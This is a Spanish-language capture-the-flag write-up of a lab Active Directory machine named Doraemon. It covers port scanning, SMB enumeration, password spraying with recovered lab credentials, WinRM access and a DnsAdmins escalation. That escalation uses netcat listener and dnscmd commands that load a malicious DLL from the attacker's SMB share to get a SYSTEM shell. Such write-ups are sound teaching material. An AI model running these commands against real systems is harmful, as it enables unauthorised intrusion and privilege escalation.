Doraemon - Active Directory CTF

elc4br4elc4br4
3 min read

Reconocimiento

Reconocimiento de Puertos

Como de costumbre comenzaremos realizando un primer reconocimiento de puertos con la herramienta nmap para ver que puertos abiertos tiene la máquina y comenzar con la enumeración pertinente.

nmap -p- -Pn -n -sCV --min-rate 5000 192.168.0.20 -oX puertos-doraemon

Esta vez en vez de exportar el archivo de salida de los puertos en formato "grepeable" lo exporto en formato xml para posteriormente convertirlo a formato html y así verlo de forma clara desde el navegador.

xsltproc puertos-doraemon > puertos-doraemon.html

Como podemos ver en las imágenes tenemos bastante información relevante:

  • Puerto 88 (Kerberos), puerto 139 (RPC), puerto 389 (ldap), puerto 445 (SMB), WinRM...

  • Encontramos el dominio doraemon.thl


Enumeración SMB

Como tenemos el servicio SMB podemos comenzar a enumerar un poco por ahí.

Para ello comenzaré utilizando la herramienta SMBMAP y así descubriremos los recursos compartidos existentes y si podemos acceder a ellos.

  • Utilizaré el usuario guest o invitado.

Como podemos ver en la imagen hay un recurso compartido llamado gorrocoptero y es de lectura, por lo que podemos tratar de conectarnos y ver que hay en su interior.

Tenemos un archivo llamado kedadawapa.txt el cual abro para ver que contiene.

Podemos ver que es una conversación entre Doraemon, Nobita, Shizuka, Suneo y Gigante y además de eso tenemos lo que parece una contraseña, que es el nombre del grupo.

  • Grupo especial Dorayaki1 de Estepona

Por lo que podríamos crear un diccionario de usuarios con los nombres de todos ellos y a través de netexec comprobar si la contraseña es válida con alguno de los usuarios en alguno de los servicios.

Tenemos credenciales para acceder por smb y comprobar si hubiera más recursos compartidos a los cuales poder acceder.

Pero aparentemente no hay nada nuevo... por lo que pruebo de nuevo con crackmapexec para revisar si esas credenciales me sirven para WinRM y ya ganar acceso a la máquina.

  • Podemos acceder a la máquina vía WinRM con las credenciales Doraemon:Dorayaki1


Evil-WinRM

Una vez dentro de la máquina toca enumerar un poco para encontrar vectores de escalada, y para eso utilizo winpeas.

Tras lanzar winpeas encontré un archivo oculto en el directorio C:\Users\Doraemon\Links llamado Carta de Amor a Shizuka donde hay una contraseña.

  • ShizukaTeAmobb12345

Podemos usar de nuevo netexec para descubrir si esa contraseña está asociada con alguno de los usuarios del diccionario que creamos anteriormente.

Podemos ver que la contraseña es del usuario Suneo y podemos conectarnos vía WinRM.


Escalada de Privilegios

Tras acceder con el usuario Suneo vuelvo a lanzar la utilidad winpeas para buscar vectores de escalada.

Pero no encuentro nada de utilidad por lo que enumero de forma manual.

Primero comienzo revisando que permisos tiene el usuario Suneo y a qué grupos pertenece, lo hago con el comando whoami /all.

Puedo ver que el usuario Suneo se encuentra dentro del grupo DnsAdmins, lo cual me resulta algo extraño...

Tras buscar un poco de información llegué al siguiente artículo, donde explica como abusar de este grupo de Administradores DNS para escalar privilegios a través de la inyección de una dll maliciosa.

Escalada de Privilegios DNS-Admin

  1. Crearemos una dll maliciosa con msfvenom

  1. Abrimos un servidor SMB para poder subir posteriormente la dll maliciosa.
sudo ./smbserver.py elc4br4 .
  1. Nos ponemos en escucha en el puerto configurado, en mi caso el 4444 con netcat.
nc -lnvp 4444
  1. Por último, importamos la dll maliciosa desde la máquina víctima, paramos y arrancamos el servicio dns.
dnscmd.exe /config /serverlevelplugindll \\172.24.25.182\elc4br4\escalada.dll

sc.exe stop dns
sc.exe start dns

Y ya nos habremos convertido en el usuario nt authority\system

1
Subscribe to my newsletter

Read articles from elc4br4 directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

elc4br4
elc4br4

Cybersecurity Student